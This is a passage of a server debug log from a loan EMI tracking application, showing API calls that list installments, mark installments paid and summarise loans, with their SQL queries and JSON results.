    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 159,
    loan_id: 10,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  }
]
2026-02-25T12:40:32.191Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:40:32.191Z server-connect:app Executing action step identify
2026-02-25T12:40:32.191Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:32.191Z server-connect:output identity: 1
2026-02-25T12:40:32.191Z server-connect:app Executing action step restrict
2026-02-25T12:40:32.191Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:32.192Z server-connect:output restrict: undefined
2026-02-25T12:40:32.192Z server-connect:app Executing action step select
2026-02-25T12:40:32.192Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:40:32.194Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-02-25T12:40:42.891Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:40:42.891Z server-connect:app Executing action step identify
2026-02-25T12:40:42.891Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:42.891Z server-connect:output identity: 1
2026-02-25T12:40:42.891Z server-connect:app Executing action step restrict
2026-02-25T12:40:42.891Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:42.892Z server-connect:output restrict: undefined
2026-02-25T12:40:42.892Z server-connect:app Executing action step update
2026-02-25T12:40:42.892Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:40:42.893Z server-connect:output update: { affected: 1 }
2026-02-25T12:40:43.406Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:40:43.407Z server-connect:app Executing action step identify
2026-02-25T12:40:43.407Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:43.407Z server-connect:output identity: 1
2026-02-25T12:40:43.407Z server-connect:app Executing action step restrict
2026-02-25T12:40:43.407Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:43.408Z server-connect:output restrict: undefined
2026-02-25T12:40:43.408Z server-connect:app Executing action step select
2026-02-25T12:40:43.408Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-02-25T12:40:43.410Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-02-25T12:40:43.414Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:40:43.414Z server-connect:app Executing action step identify
2026-02-25T12:40:43.414Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:43.415Z server-connect:output identity: 1
2026-02-25T12:40:43.415Z server-connect:app Executing action step restrict
2026-02-25T12:40:43.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:43.415Z server-connect:output restrict: undefined
2026-02-25T12:40:43.415Z server-connect:app Executing action step custom
2026-02-25T12:40:43.415Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-02-25T12:40:43.417Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '15',
    total_remaining_amount: 225210,
    total_paid_amount: 675630,
    percentage_paid: '75.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '14',
    total_remaining_amount: 308434,
    total_paid_amount: 749054,
    percentage_paid: '70.83'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '9',
    total_remaining_amount: 48024,
    total_paid_amount: 144072,
    percentage_paid: '75.00'
  }
]
2026-02-25T12:40:50.667Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-02-25T12:40:50.667Z server-connect:app Executing action step identify
2026-02-25T12:40:50.667Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:50.667Z server-connect:output identity: 1
2026-02-25T12:40:50.667Z server-connect:app Executing action step restrict
2026-02-25T12:40:50.667Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:50.668Z server-connect:output restrict: undefined
2026-02-25T12:40:50.668Z server-connect:app Executing action step update
2026-02-25T12:40:50.668Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-02-25T12:40:50.669Z server-connect:output update: { affected: 1 }
2026-02-25T12:40:51.185Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-02-25T12:40:51.186Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-02-25T12:40:51.186Z server-connect:app Executing action step identify
2026-02-25T12:40:51.186Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:51.186Z server-connect:output identity: 1
2026-02-25T12:40:51.186Z server-connect:app Executing action step restrict
2026-02-25T12:40:51.187Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:51.187Z server-connect:app Executing action step identify
2026-02-25T12:40:51.187Z server-connect:app options: { provider: 'security' }
2026-02-25T12:40:51.187Z server-connect:output identity: 1
2026-02-25T12:40:51.187Z server-connect:app Executing action step restrict
2026-02-25T12:40:51.187Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:40:51.188Z server-connect:output restrict: undefined
2026-02-25T12:40:51.188Z server-connect:app Executing action step select
2026-02-25T12:40:51.188Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
